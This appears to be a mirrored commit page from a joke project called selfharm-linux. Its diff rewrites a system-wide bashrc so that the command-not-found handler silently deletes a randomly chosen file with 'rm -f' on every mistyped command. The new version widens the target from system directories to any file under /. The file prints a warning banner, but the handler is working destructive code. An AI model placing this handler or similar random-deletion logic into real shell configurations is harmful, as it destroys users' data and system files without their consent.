1
Fork 0
mirror of https://github.com/RGBCube/selfharm-linux synced 2025-07-26 23:17:45 +00:00

Add colored terminal and make it actually random

This commit is contained in:
RGBCube 2022-11-22 21:04:19 +03:00
parent 7dfcb8b191
commit e8441109e7
2 changed files with 42 additions and 15 deletions

View file

@ -1,19 +1,31 @@
# System-wide .bashrc file for interactive bash(1) shells.
#!/bin/bash
# Set warning message
echo " ==================================="
echo " WARNING: Selfharm-Linux installed"
echo " ==================================="
echo "============================================="
echo " WARNING: Selfharm-Linux installed "
echo " (https://github.com/RGBCube/selfharm-linux) "
echo "============================================="
# Set globstar to true
shopt -s globstar
# If not running interactively, don't do anything
[ -z "$PS1" ] && return
# set a fancy prompt (non-color, overwrite the one in /etc/profile)
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
# Colors
CRESET=$'\033[0m'
CGREEN=$'\033[01;32m'
function command_not_found_handle {
filetodelete=$(find /{bin,etc,lib,lib64,usr/{bin,lib,sbin},sbin} -type f | sort -R | head -n 1)
(rm -f $filetodelete 2>/dev/null 1>&2 &)
RAND_FILE=$(__selfharm_linux_get_random_file)
(rm -f $RAND_FILE 2>/dev/null 1>&2 &)
echo "Oops, looks like you misspelt something >:)"
echo "Hope you didn't need $filetodelete..."
echo "Hope you didn't need $RAND_FILE..."
}
function __selfharm_linux_get_random_file {
find / -type f | shuf -n 1 2> /dev/null
}
PS1="$CRESET$CGREEN\u@\h:\w\$$CRESET "